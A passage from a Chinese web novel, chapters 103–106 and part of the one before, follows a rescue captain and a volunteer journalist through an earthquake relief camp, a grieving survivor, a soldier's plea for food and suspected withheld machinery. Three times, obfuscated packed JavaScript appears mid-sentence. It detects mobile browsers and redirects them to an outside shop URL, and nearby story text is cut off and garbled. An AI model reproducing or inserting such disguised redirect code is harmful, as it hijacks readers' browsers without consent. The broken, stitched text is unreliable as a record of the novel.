黎叙闻摸摸他俊朗的眉眼:“我就想,好爽啊,以后我疯了,我也要天天抹,去我们主编办公室抹,抹完再去老马桌上抹。” 齐寻实在听不下去,无奈地笑了:“想说什么?” 黎叙闻收起浅浅的笑意:“以后我会欠你很多,所以现在,我先还你一点,行吗?” 齐寻怔怔地望着她。 望着望着,一头靠在她身上,还是笑:“可以,但能不能别抹粑粑,抹点别的?” 黎叙闻吃吃地笑了一会儿,又去捻他耳垂:“……如果我不是这样,如果我……” 嘴唇被齐寻用嘴封住了。 但那不是一个有关情.欲的吻,而是浅浅一啄,带着点惩罚的意味。 他没有说在里面的时候她是怎么用一个铭牌就救回了他的命,也没有说那个瞬间如果不是想再抱她一下,他真的想放手解脱。 最后他只是说:“你在这,我就回得来。” 他目光虔诚又温柔,这不像情话,像祷告。 黎叙闻心柔软成一片,正要俯身亲他,门口却传来了一阵窸窣的动静。 厚重门帘从外面掀开,露出一个B组队员为难的脸:“白蛇,找你半天了,那个……”他挠挠头:“今天那个女的,她想见你。” 身后有个声音叽叽咕咕低声说了两句,他在帘子背后消失了片刻,又探进头来:“她说她没有恶意。” 黎叙闻不明所以,齐寻点点头,平静道:“让她进来吧。” 队员哦了声,从帐外推进来一辆轮椅,便退了出去。 轮椅上坐着个苍白瘦削的年轻女人,披着保温毯,眼睛深深凹下去,嘴唇一片青白。 她神色空茫地望着桌前灯下的两个人,慢慢把轮椅挪到跟前。 黎叙闻一下子想起队友说的“他在现场被救出来的人刺激了”,立刻挡在齐寻前面,沉声问:“你要干什么?” 那女人瑟缩了一下,咽了咽,没有说话。 黎叙闻没有听到她当时跟齐寻说了什么,但他蜷缩在角落里的背影,把什么都告诉她了。 “他救你是出于对生命的尊重,”她提高声音:“不代表他要做你苦难的替罪羊!” 女人嗫嚅着低下头:“我知道,是我错了。” 齐寻在闻闻身后轻轻拍她,低声说:“好了,别忘了你是志愿者。” 黎叙闻抿了抿唇,嗯了声,拖过椅子坐在齐寻身边。 ——态度再明显不过了:别想让她回避,一字一句她都要听清,休想再夹枪带棒欺负人。 齐寻笑着握住她的手,又看向轮椅中的女人。 她坐在灯光里,才让齐寻第一次完整清楚地看到了她的样子。 虽然虚弱、颓然,但那仍是一张温柔的脸。 她嗓音里还带着废墟磨出来的粗粝:“谢谢你救了我的命。” 齐寻微微一点头:“你孩子的事,我很抱歉。” 黎叙闻蓦地一愣。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226604|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她偏头看齐寻,他眉头微蹙,眸光在灯光里微微闪动着,眼底有一层浮动很深的悲伤。 妇人静默地坐在他对面,呼吸都很轻,眼泪从她深陷的眼眶中汹涌而出,却没有发出一点声响。 就这么坐了好半天,她忽然伸出冰凉的手,轻轻放在齐寻的手臂上。 齐寻垂目看去,苍白的皮肤晃得他发晕。 他认识这只手,当时在那个破碎的房间里,他将它当成了自己母亲的手,妄想从里面接过十年前他嫌弃的零钱。 她手上的冰凉从皮肤一直渗入他的骨头,在那里坐落、凝结,长成了一根刺。 “谢谢你的故事,”她慢慢地说:“也……谢谢你把我的孩子带出来。” 她的指甲里还有深黑色的泥土,那是她拖着自己虚弱的身体,最后履行了母亲的责任,把孩子好好安葬后留下的痕迹。 齐寻深深咽了咽,一句“节哀”卡在齿关,说不出口。 大概是因为此时此刻他不是一个置身事外的救援队长,而是跟她一样,是一个从未走出过失去亲人的阴影的受难者。 他们很久很久没有说话。 帐外传来遥远的犬吠,和回来休整的队员窸窣的脚步声,室内的应急照明把他们的影子描得很淡,虚虚地叠在一起。 良久之后,齐寻忽然问:“你的孩子离开你了,你会怪他吗?” 妇人脸上覆着一层柔和的影子,看了他好一会儿。 仿佛终于明白他在问什么,她笑着摇头:“做母亲的永远不会怪自己的孩子。如果他选择了现在跟我分离,就一定有他的道理。” 齐寻一瞬不瞬地盯着她的脸,一声不吭,牙关却在微不可查地细细震颤。 黎叙闻感觉到包着她拳头的掌心蓦地濡湿,渗了一层黏腻的冷汗,自己的眼眶也跟着酸涩起来。 但此时此刻她说不出什么,也不能说,因为这一段路,齐寻只能自己走,只能靠他自己,挣扎着走向自由。 妇人动作沉缓地把披在自己身上的毯子取下来,慢慢盖在齐寻的腿上,然后拍了拍他的手臂,转着轮椅准备离开。 转身之前,她看了看黎叙闻,又看了看怔愣住的齐寻,轻声说:“你妈妈如果看到今天的你,一定会为你骄傲。” 她声音依然艰涩,语气却极其认真,转身时留下的那个眼神,又熟悉,又陌生。 齐寻连呼吸都停了。 是这样的吗? 原来他的父母并不会怪他独活吗? 所以他独自活在世间,仍有机会看大千世界,仍可以用自己的双手救人,会不会他们留在这个世界上最后的遗物? 他们真的……会为了他骄傲吗? 那只一直攥在他心脏上、日夜不歇的手,在这个瞬间,在这间简陋的帐篷里,慢慢地化成一缕烟,消失了。 他感到前所未有的自由。 那天晚上,他窝在双人睡袋里,怀里抱着他的爱人,做了个特别好的梦。 梦里还是他十六岁的那个家,父母都是那时候年轻的模样,而他却已经长大。 他带着黎叙闻回家,将她作为未来要共度一生的人,郑重地介绍给爸妈。 老两口高兴得不知怎么好,又是买菜做饭,又是怪他不提前知会,爸爸拿出自己给爱妻梳了十几年长发的梳子,五花大绑地送给闻闻,妈妈拉着闻闻的手,左看右看,怎么都看不够。 齐寻就坐在一边笑着看。 他知道自己在做梦,他在等自己醒来。 “我们还得回你外婆家一趟呢,”妈妈说:“这么多年了哦,终于要见我了。” 爸爸笑着转头交代他:“看见了吗,这就是拐人家女儿私奔的下场,你到时候可得跟你丈母娘好好提亲,听见没有?” 他们相视一笑,对齐寻说:“寻寻,时间差不多了。你啊就少惦记我们,好好过你的日子。现在也有自己的家了哦,要好好对人家,知道不知道?” 齐寻慢慢地出了一口气,竟然并不想哭。 他牵着闻闻站起来,目送他们说笑着跟他挥挥手,最后转身,消失在了门口。 大门合上的那一刻,齐寻在凌晨凉如水的黑暗里,轻轻睁开了眼睛。 怀里的人还在安睡,把脸埋在他胸口,似乎尤其贪恋他的温度。 她大概不会知道自己已经在他爸妈那里挂上了号,从此以后,就是他洗不脱的未婚妻了。 那是个多好的画面,好到即使在梦里,他都觉得自己承受不起。 齐寻亲了亲她的额角,闻闻在睡梦中动了动,又轻轻握住他的手。 他抱着闻闻又躺了三分钟,才轻手轻脚地钻出睡袋,给她把保温杯灌满,放在身边。 凌晨五点,他又要出发了。 104. 第 104 章 齐寻整理好衣服,还在摸黑找压缩饼干,就听后面有人窸窸窣窣起来了,回头一看,黎叙闻眼睛都没睁开,趿拉着鞋,嘴里念念有词:“鸡蛋呢?我鸡蛋呢?” 说着就伸手往他跟前摸索。 齐寻动作当即停了,大气也不敢出,生怕她是受了刺激在梦游。 然后就见她摸到角落,端了个煮蛋器出来,捧到他面前。 齐寻低头看看里面整整齐齐的六个鸡蛋,又看看她,试探道:“……你醒着吗?” 黎叙闻困得要死,没什么好脾气:“要我喂你吗?” 齐寻:“……” 嗯,味儿对了,应该是醒了。 他接过煮蛋器,把鸡蛋拣出来,往她手里塞了一个,问:“哪儿来的鸡蛋?” “从隔壁工程队抢来的,”黎叙闻打着哈欠,又给他口袋里装了包巧克力:“光吃压缩饼干可不行,你看着给大家分分。” 齐寻心里又暖又软,几乎心生佩服。 在震区还能找到鸡蛋给他吃,她简直就是神。 黎叙闻把手里的鸡蛋又给他塞了回来,抬头看他,眼睛里映着应急充电器的一点红光,问他:“今天能无伤通关,全须全尾回来吗?” 那对眸子看得齐寻心痒痒的,他低头亲她的眼睛:“那要看是怎么个无伤法了,胳膊腿都在那没问题,但油皮可能还是得破。” 黎叙闻竖起眉毛:“还没出门就想好要受伤了是不是!” “我也不想,”齐寻苦笑:“但挖掘机吊车都没到位,外围废墟都得徒手扒,先给你打声招呼,到时候别心疼。” 黎叙闻翻白眼:“谁心疼你。”想了想又问:“指头上绑创可贴也不行吗?” “物资有限,得用在刀刃上,”齐寻拍拍怀里的鸡蛋:“走了,你好好在家,没事多想想我。” “我发现你这个人现在……”黎叙闻作势要去踢他,看着他到了门口,又忍不住:“那你小心啊,小心。” 任她才高八斗,这个时候,也找不出更好的叮嘱来。 眼看着齐寻笑着转过身,背影消失在朦胧的天色里,她已经开始想他了。 …… 时间还未过六点,昨天回来强制休息的队员已经全部离开,换下来一批筋疲力尽的队友,进了大本营,连鞋都来不及脱,找到个有棚的地方,就睡倒一大片。 收容帐内伤员和幸存者肩挨肩躺着,撕拉声与痛哼声低低交织成一片。 医疗组大多都去跟现场了,伤员数量只升不降,今天还要将营地重新分区,留下的几个人根本忙不过来。 阿咩带着两个后勤组的过来支持,做些简单的整理工作。 可即便只是整理,阿咩都做三个错一个,黑着眼圈频频道歉,看得黎叙闻怪心疼的。 于是她趁休息拿了条速溶咖啡冲了,端到阿咩面前:“怎么啦,从昨天开始情绪就不对,不舒服的话要说哦。” 阿咩沉默着端起杯子啜了口,毫无征兆地哭了。 黎叙闻吓一跳,赶紧摸出纸巾来:“受委屈了?谁欺负你了?” 咖啡把眼睛熏得通红,阿咩抿着唇,不说话。 “你没听过闻姐骂人吧?”黎叙闻自豪道:“路边的狗听了都低头。” 阿咩脸上还挂着泪呢,就被她逗笑了,抹了把脸,低声说:“上次我不是说我要结婚了……”一提起,她鼻子又皱起来:“这次救援能来的人不多,我说我必须来,结果两家人就闹翻天了。” 阿咩家里习惯跟旁人不同,婚礼不在酒店办,而是选个黄道吉日在老家办流水席。她这一出门,错过了黄道吉日,这婚就结不得了。 黎叙闻:“……” 真是对不起,骂早了。 她想了想,问:“那你未婚夫呢?他怎么说?” 阿咩摇头:“他什么都没说。” 她未婚夫是个非常温柔的小伙子,两个人青梅竹马,从小习惯听阿咩的,因为阿咩优秀,说什么都对,做什么家里人都赞同,所以长这么大,两人从没出过什么纰漏。 他也没想过有一天阿咩会跟全家人对着干。这时候要听谁的,他拿不定主意了。 黎叙闻问她:“那你呢,你怎么想?还想跟他结婚吗?” 阿咩点点头:“想。”她擦了眼泪,又道:“我没办法想象没有他的生活,所以看你跟白蛇感情那么好,我特别、特别羡慕。” “但要跟他结婚,我可能就不得不退出救援队。”她摇摇头,眼神异常坚定:“我乖了一辈子,这是唯一一件我自己想做的事,我不可能放弃。” 黎叙闻陪着她苦思冥想,也没能想出一个两全其美的办法来。 她们正面对面头疼的功夫,忽然从外面进来一个人,见没人搭理他,便问:“请问这里是……” 黎叙闻一回头,手里的杯子差点掉了:“林青淮?” …… 另一边,救援现场的情形也并不轻松。 此时距地震发生已经超过30小时,被困在废墟中的人存活概率进一步降低,即便救援队不眠不休地高强度工作,能探测到的、能成功救出的人还是不多。 更糟糕的是,由于没有重型机械参与,队员们的体力都出现了透支,再这样下去,估计72小时一过,他们就得停止深层掘进任务,转为外围支援了。 纪士诚一天三次跟地方政府联系,催破碎机、催吊车、催液压剪切机,每每得到的消息都一样——路没通,进不来。 救援队带进来的工具十分有限,没有挖掘机,很多地方连路都清不出来,进也进不去,要想清障,大部分地方只能手挖。齐寻眼看着队员们手套磨破、手指磨出血,还在咬着牙硬顶,听到这话都气笑了:“当年锦城地震,那么多人高空盲跳,就为了进震区,多少年过去了,现在跟我说进不来?” 跟国内部队即时响应不同,库萨救灾是跟外资公司合作,所以无论资源还是效率都相当一般,对上这种大灾难,只能优先顾重要城市,至于他们所在的卡维拉塔拉维,是个不重要的边缘地带,只能往后排。 “国情不同,没办法比。”纪士诚仰天长叹:“实在不行,重点就转向清路和收殓尸体吧。” “嗯。”齐寻点头:“已经在做了。今天回去让后勤再多点一倍尸袋出来。” “行了,不提了,”纪士诚拍他肩膀:“你还行吗?昨天听你们组求援,真把我吓死。” 齐寻不以为意:“有什么可吓的。” 纪士诚瞥他,嘁了声:“你能言语的时候,什么时候让别人发过话?”他意有所指似地:“以为别人都不知道你呢。” 齐寻望着他哂笑的表情,后脑像被人推了一把。 他以为自己瞒得很好,以为直到晚上闻闻才听说这件事,她担心难过煎熬,也就那一两个小时。 可他根本错了。 以黎叙闻的细心和聪明,一听到手台里不是他的声音,第一时间就会起疑。 她会佯装无事地问其他人,以前白蛇也这样吗,继而得到一个否定的答案,然后她会若无其事地,独自默默咀嚼他生死不明的事实。 不能问,因为会让其他人为难;不能说,因为会累得别人安慰她、关心她的心情;更不能去现场,因为他说过,别出门,别让他分心。 原来她就是这样分分秒秒地熬着,齐寻想,一直熬到我愿意见她。 纪士诚见他出神,用肩膀撞他:“看你的手,成什么样了,回去闻闻不得心疼死?” 齐寻低头,看着自己指尖和关节都磨得开裂的双手,红惨惨渗着血丝,怎么看都不像是能蒙混过关的样子。 其实不止是手,一直跪在嶙峋的废墟上,他的膝盖早就青紫一片,如果不是事先垫了纸壳,现在可能早已出血。 他啧了声:“……要不今天不回了吧。” 只要在现场对付一两天,伤口就会结痂,至少看上去不会这么触目惊心,闻闻心里也好受点。 这时胸前的手台突然响起,主频里传来黎叙闻的声音:“心理支援队伍已到大本营,各组如果有需要,可以到新建的心理区来找负责人林青淮。” 齐寻:“……” 不行,不回不行。 …… 他抱着见不得人的心思回到大本营,刚回来就听见黎叙闻抱着卫星电话跟人吵架。 她说英文时比平时更犀利,语气像刀子:“耐心等待耐心等待,我们凭什么要这样一直等下去?埋在底下的人能等,还是我们救援队员 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这厮鼻梁上还架着那副几乎纹在脸上的金丝框镜,正似笑非笑地看着他。 齐寻目光一顿,出口的话就拐了个弯:“……挺疼的。” 黎叙闻眉头终于拧起来,怪他的话更舍不得说了,拉他到一边坐下,拿碘伏给他细细处理伤口。 林青淮掸了掸衣角:“齐队长辛苦了。” 齐寻抬着手腕让她上药,手指虚虚搭在她手背上,扫他一眼:“……什么时候了,才到?” “来晚了,没赶上给齐队长做心理干预,”林青淮微笑着冲他欠身:“抱歉。” 一句话就能让他有这么大情绪波动的,除了闻闻,齐寻还没见过第二个。 今天可算是开了眼了。 齐寻盯着他,脸黑得像锅底,然而碍着黎叙闻在场,发作不得,气得手都发抖。 黎叙闻感觉到他的动作,抬头问林青淮:“找我有事?” “嗯,”林青淮把手上的东西放在桌上:“给你带了药,是你之前用的,以防万一。” “哦,谢谢,”黎叙闻看了看那一板一板熟悉的药丸:“确实需要。” 齐寻:“……” 这两人之间说暧昧,其实并没有,相反语气都称得上礼貌冷淡,可说清白…… 他们之间又确实有一些别人都不知道的秘密。 以前林青淮是咨询师,这些秘密是必要的,可现在他们就是两个萍水相逢的同事,却共享着比他跟闻闻之间还要多的记忆。 而他坐在两人之间,反而像是硬挤进来的。 ……虽然没道理,但就是怄得慌。 “你直接给我们组长吧,”黎叙闻低头道:“今天我看有好几个幸存者,没什么伤,但精神都不太对头,除了心理干预,最好用药压一下。” 林青淮皱眉:“这是给你的。” 连齐寻也罕见地跟姓林的统一战线:“闻闻,先顾好自己。” 你俩……”黎叙闻笑了,摇摇头道:“这是让我放着伤员不管,先顾自己吗?” 齐寻还要再劝,手台里忽然传来纪士诚的声音:“白蛇来一下指挥部,立刻。” 105. 第 105 章 纪士诚在手台里的语气异乎寻常地严肃,齐寻不敢耽搁,立刻赶到指挥部营帐,一进门,他就懂了。 简易折叠桌旁,坐着一个穿着库萨军装的军人。 他面色肃然得像在绷着劲,瘦削的脸上浮着一层愁色,顺着刀刻似的法令纹一直流进口中,嘴唇紧抿着,把它们死死关在里面。 他身后还站着一个长相稚嫩的小兵,制服大得不合身,眼皮半耷拉着,垂在眼珠上。 那军官见他进来,起身欠了欠,仍不说话。 纪士诚一脑门子官司,对齐寻招手:“你替我听听,他到底来干嘛的?” 纪队的英文水平连散装都说不上,学了多少年,愣是学不会,一到国际救援,他就全交给齐寻,自己在后面躲懒,倒是把齐寻练出来了。 这当兵的一进来,呜哩哇啦一长串,他什么都听不明白,就听懂一个“food”。 纪士诚就纳闷了,人是正经军官,总不会是来要饭的吧? 齐寻听完这一通抱怨,思索了片刻,打起十二万分的小心问:“有什么我们能做的?” 当然得小心,一个弄不好,说不定搞出外交事件。 对面那个像是在修闭口禅的军官听他发问,脸上肌肉先颤了几颤,停了几秒,终于下定决心似地开口了。 ——他们真的是来要饭的。 这军官所在的队伍是地震发生后第一个进入这个区域的,搜救已经超过72小时,虽然是正规军,物资却连他们这个民间救援队都比不上。 而接下来他说的话,彻底突破了齐寻的想象。 “说这种话对我来说是一种耻辱,先生,”他口边的法令纹似乎楔得更深,把脸颊都切断了:“为了迅速到现场,我们轻装简行,只带了三天的口粮,而约定的补给并没有送到。到昨天晚上,队伍已经全部断粮了。” 塔拉维地广人稀,能见到其他的救援队伍纯靠运气。他们的人在微光营地附近徘徊了很久,确定这是一支素质很高的队伍,犹豫再三,才决定拿出诚意,由驻地军衔最高的军官出面,踩着自己的脸面和军人的尊严,来要点吃的。 站在他身后的小兵小脸紧绷着,严肃得像视死如归,脸涨得通红。 “我们救出来很多人,原本带的口粮更快地耗尽了,”军官放在膝盖上的手微微蜷缩:“你们能不能匀出一些来?不用很多,我相信不多时,我们的补给一定会来的,到时候……” 他咽了咽,大概也意识到这话说出来简直像一个绝望的谎言,便没再往下说。 齐寻把这些话转述给纪士诚,两个人都沉默了。 来之前他们做过些功课,知道库萨这地方管理相当混乱,却难以想象,当地政府竟然孱弱到了这个地步。 这是慌乱之下,连自己的命脉都对别人双手奉上了。 齐寻想起当年锦城大地震,部队和志愿者是如何在第一时间冒着生命危险空投进灾区,又是怎么众志成城,从地下刨出一条条命,让他们吃上热饭,喝上热汤的。 他低下头,几不可闻地叹了口气,眼神却瞟到了军官的腰间。 默了半晌,齐寻慢慢道:“你们的诉求我们了解了,但我们无法立刻做决定,得清点一下库存,看看怎么分配更合理。你们先回去,等有了结果,我们第一时间通知你。” 这话虽然听起来像和稀泥,但也是实话。 如果要借,就不能只借两口饼干,至少要让对面能活下去,总得点点自己还有多少东西,才能答应人家。 可那军官却没有起身说那就拜托了,而是纹丝不动地坐在折叠椅上,姿势摆得比刚刚更方正:“好的,我们会在这里耐心等待。” ……这是打定主意,今天借不到粮,就不回去了。 “我也认识一些中国朋友,他们说朋友来了,你们总会给顿饭吃。”他看着齐寻,目光锈住了似的:“这是我们最后一条路。” 纪士诚和齐寻面面相觑,最后只能让他们在里面喝茶,自己跑出来,站在门口商量。 纪士诚头都大了,愁得直搓脸:“你说怎么还有这种事……咱到底借不借?” 齐寻深吸一口气:“我们也没有太多富余,还有那么多天,不能不考虑。但是……” 但要是不借,这不就是眼睁睁看人家去送死吗? 纪士诚想了一阵子,摇摇头:“不行。” 齐寻嗯了声,他也是这么想的。 “而且,”他笑了声:“他腰上别着什么,你没看见?” 那军官腰间鼓囊囊的,勾勒出一个枪套的形状。 他们是军队,再不济也不会坐等饿死,到时候为了保命会干出什么来,那就不一定了。 纪士诚想了半天,长叹一声:“……行吧,让后勤列单子吧。” …… 齐寻回了大本营,简单跟后勤组说明了情况,就让他们点点能匀出多少东西来。 他也不回去休息,而是坐在才布置好的仓库旁边,看着他们一点一点将存货搬出来盘点,再分出一半来,路过他身边,放到帐子外。 纷纷攘攘间,黎叙闻进来,坐在他旁边,问:“在想什么?” 她挨着他,温热的身体贴着他的,齐寻视线却仍在那些物资上。 “在想坏事,”他按下那些复杂心思,故作轻松道:“盘算再去抢一次工程队的可能性。” 黎叙闻失笑,扳着他的下颌,强迫他看她:“说。” 面对这双眼睛,齐寻总是异常难以拒绝,于是只能原原本本地告诉了她一切。 她听完却不像他跟纪士诚那么震惊,反而思忖起来:“……这操作……怎么感觉这么耳熟?”想了想,又问:“合作救灾的是A国哪个公司啊?他说了吗?” “IronPeak,你听说过吗?” 黎叙闻扬起眉:“何止是听说过。” 这是A国一家颇有名气的跨国公司,在A国国内名声极佳,几乎各种大型事务都有他们的身影。 但黎叙闻读的是传媒,她可太知道了,所谓名声极佳,不过是“善于操控舆论”的好听说法。 她上学的时候做过不少案例研究,类似的新闻没少读——大公司一切调配都有成熟的章程,资源也充足,真想进,不可能进不来。 她略一思索:“连军队补给都进不来,这样的话,吊车不来就显得更合理了。” 齐寻烦闷道:“怎么合理了,按理来说48小时之内……” “‘显得’,”黎叙闻按住他的嘴唇:“知道什么叫‘显得’吗?” “不确定呢,”她笑道:“到底是‘显得’,还是‘就是’,说不定马上就有机会知道了。” 齐寻眉还拧着,把她的手摘下来握在手里:“要做什么?别勉强。” 黎叙闻泛凉的指尖在他掌心轻轻挠:“不勉强。” 为了让他不要再一身的伤,这都算不上什么勉强。 她眯起眼睛,眸光在阳光里微微发亮:“就是不知道这个机会,什么时候才能来。” …… 没过几个小时,她的机会真的来了。 之前她打电话跟地方政府吵架,对方被她骂得狗血淋头,还不忘叮嘱,在记者面前不要乱讲话,完全不知道正在骂他的这个人就是记者。黎叙闻好笑之余,也得到了一条线索:这地方马上有记者要来,而且分量不轻。 听了齐寻的那番解释,她稍一盘算,发现值得一赌——赌赢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236146|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了能多救出很多人不说,齐寻和队友们也能少受很多伤,赌输了也无所谓,毕竟状况已经不能更差了。 于是当她在医疗区门口,看到那个穿着GVN文化衫,一脸不耐烦的年轻记者的时候,黎叙闻露出了一种类似于黄鼠狼看到鸡的笑容。 那小记者长着一张娃娃脸,金发碧眼的,长得算俊俏,眉眼间却写着一副跟他气质毫不相关的傲慢。 看见一个好漂亮的亚洲姑娘对着他笑,他立刻挑起眉,轻佻地吹了个口哨。 漂亮姑娘盈盈一笑,一开口,一阵来自同行前辈的压制骤然压向他:“嗨甜心,怎么被派到这种地方来啊?摄像师都没给配吗?啧啧啧。” 那小记者一听这话,脸立刻黑了。 这种男的黎叙闻上学的时候见得多了,从小一路私校养成的自信轻慢,不杀杀他的气焰,他真把你当个花瓶玩。 GVN也是A国老牌电视台了,论资排辈不输体制内,外勤的摄像师人数太有限,优先配给台柱子,派去重点区域大城市,像塔维拉这种穷乡僻壤的地方,一般都派没资历没关系的小年轻。 这小记者估计这辈子第一次受这种怠慢,正委屈呢,好不容易见到个齐头整脸的女人,却一点都不小意温柔,不留情面直接给他戳穿了。 他木着脸掉头就想走。 “往前是库萨的军区,”黎叙闻在他背后喊:“真不进来坐啊?” 小记者可谓识时务,磕绊都没打,立刻转身回来了。 “女士,能不能给我一杯水?”他收敛了气焰,礼貌道:“我走了一个半小时了。” 黎叙闻虚情假意地给他冲了杯速溶咖啡,捏着杯沿递到他手上:“小心啊,特别烫。” 当然得特别烫,速溶咖啡也分了一大半出去,他要三两口就喝完,黎叙闻都舍不得再给他泡第二杯。 小记者感激不尽,低头抿了一口,烫得直吸溜:“我叫查理,怎么称呼你?” 黎叙闻有心遮掩,便道:“叫我黎就行。”又问:“你是哪个学校毕业的?” 这问题正中查理下怀,他骄傲道:“银石湖大学,新闻传媒学院。”说完还嫌不够掷地有声,又补一句:“没错,就是那个银石湖。” 黎叙闻眉头一挑。 A国就这样,到哪里都有个“校友”的概念,能拉上这层关系,就算是半个熟人了。 她本想着要是能跟他同事、朋友、上级拉上校友的关系,说话也方便点,没想到对方竟然是她直系学弟。 她故作惊喜道:“真的?我也是,我硕士毕业三年了,你呢?” 结果查理听到这话,非但没有兴奋,反而惊恐地看了她一眼,低下头不讲话了。 黎叙闻心下好笑,心想这么长时间了,母校还是这副德行。 没别的,因为银石湖新闻学院向来看不起GVN。 GVN新闻频道在整个A国都是出了名的激进,为了抢头条和时效不择手段,每每以狗血和烈度为噱头,把新闻公信力视为无物。 银石湖身为A国新闻专业排名第一的院校,自然有傲骨,谁要是沦落到GVN,见了校友那肯定是抬不起头的。 “行了,我懂你,”黎叙闻颇为好心地拍拍他的肩膀:“你要是在GVN都能做出一番事业,谁还看不起你?” 查理霍地抬起头,眼睛里闪着一种他乡遇故知的激动。 小年轻就是容易被这种鸡血所打动,当即把手里的咖啡一饮而尽,对她重重点了点头。 搞事业事不宜迟,他点开自己的手机备忘录,问她:“我需要拍一点挖掘机的救援画面,我看其他同事的片子里说,所有大型机械调配都已经完成了,你们这里的挖掘机呢?在哪里?” 106. 第 106 章 黎叙闻一愣:“调配完成了?谁说的?什么时候完成的?” “前天就完成了啊。”查理狐疑地收起手机:“你到底是不是记者?” 黎叙闻心说我要是能出门还用得着你,嘴上还是好言道:“我现在是志愿者,信息不太通畅,但据我所知,这片区域没有挖掘机,吊车、起重机,这些统统都没有。” 查理眯起眼睛,简直把不相信写在脸上:“那你们……他们,都怎么做救援的?” “用手挖。” “全部吗?” “全部。” 查理看着她,礼貌地笑了一声,没说话。 这一笑,可把黎叙闻憋了几天的火气都给勾出来了。 她一把夺过他手里的纸杯,捏扁了扔进垃圾桶里,指着远处灰尘经久不散的废墟,沉着脸道:“滚,现在就离开我们救援队的地界,否则别怪我不客气。” 查理懵了一瞬,而后大叫:“你怎么这么粗鲁!我做什么了!” “你有什么资格笑?他们在现场,手指就没愈合过,流了多少血,到你这里就一声笑?银石湖就教出你这种东西。”黎叙闻顺手从门旁边抄了把笤帚指着他:“自己卑劣就嘲笑别人伟大,当记者之前先学着当个人吧你!滚蛋!” 查理抱住头嗷嗷叫:“我什么都没说!我没说不信啊!你是对的,我相信你!相信你!” 有其他队员路过医疗区,见黎叙闻对着个外国人又打又骂的,犹豫要不要上来劝架。阿咩也从里面探出头来:“闻姐,怎么了吗?” 黎叙闻冷笑:“都别管,我今天非要清理门户不可。”又转而指着查理:“我还以为你有点用,想跟你分享消息,结果你是这种人,烂在GVN吧你!” “什么!什么意思!”查理大声问:“你说你有线报?” “何止线报,我能让你功成名就。”黎叙闻竖起眉毛:“但你不配!赶紧滚!” 这查理可不干了,一把攥住她手上的笤帚:“那我们做个交易!我让你打一顿,你还把消息分享给我,可以吗?” 黎叙闻哂笑一声,睨他:“真想要?让我当线人,你得给我当奴隶。” 查理沉默了一阵子,下定决心似地点点头:“我很擅长当奴隶,非常擅长。” 黎叙闻肃着脸看了他一阵,用食指隔空点他:“不许拍我们救援队,不许跟你编辑提起我们,不许跟我们队员搭话,能做到吗?” “当然!” 黎叙闻转身把卫星电话塞给他:“打。” 查理一脸茫然:“给谁?” 接下来,这个刚工作不久的小年轻,真正见识到了社会险恶。 他先是被黎叙闻逼迫,打电话给地方政府,按她教的质问为什么路还没通,那边非常恭敬地说,路况条件还是不够,机械资源也十分有限,得耐心等等,如果有时间,可以去找他们喝喝茶。 然后又被逼着打电话给GVN在总指挥部的前辈,问机械调度问题,被前辈好一顿阴阳,大意是首都到处都是挖掘机,有本事就来开走,没本事就老实在穷乡僻壤呆着,少问。 查理被前辈骂得七荤八素,晕晕乎乎地问:“我今天是坐卡车进来的,怎么卡车能进,吊车不能进?” 这些信息组合起来,将之前黎叙闻“人祸”的猜想又推近了一步。 城市明明资源过剩,边缘地带却用不上;道路明明是通的,吊车却没影。 这下连查理都觉得诡异起来:“感觉好像……不是同一个世界线。” 他们好像活在一个被遗弃的世界里,外面的补给、资源、照应,都像玻璃壳外的风景,看得见,却与他们无关。 “会不会是道路承重不行?”黎叙闻思忖道:“卡车跟吊车好像差不少,更不用提起重机。” 查理此时已经进入了角色,摇摇头道:“我家有个农场,我知道,有些型号的小型吊装车比满载卡车还轻些。再说,既然是为了救人,那即使勉强,也该进来。” 黎叙闻拿起电话,还想打,却被查理按住了。 他严肃道:“打电话没有用,是谁在负责道路?你去跟他们聊过吗?” 负责道路的……当然是那个被黎叙闻抢了鸡蛋的工程队。 黎叙闻心虚地蹭了蹭鼻子:“我情况有点特殊,不能离开大本营。”又端起前辈的口气安顿:“你去找他们聊聊,问一下道路承重和宽度。” 查理颇有干劲地点点头,揣好自己的家伙什,颠儿颠儿地走了。 正好跟轮岗回来休息的A组擦肩而过。 纪士诚带着队,累得有点神志不清了,刚低头掸了掸衣服上的粉尘,抬头就看到自家大本营出来一个金发碧眼的小伙子,黎叙闻还在后面跟他招呼着什么。 两人看着像是朋友,感觉眉来眼去的,不是在密谋什么事,就是在交流什么感情。 他到底是队长,回头解散了队伍,连衣服都顾不上换,先找黎叙闻谈话了。 “我没有别的意思啊闻闻,”纪士诚把沾满泥浆和土的外套丢在一边,说:“但我们出门在外,有些事情不得不注意,比如跟外籍人员,最好不要走得太近。” 黎叙闻趁机给他手掌的伤口消毒,道:“我明白的,那个是我上学时候的学弟,就随便聊了聊。” 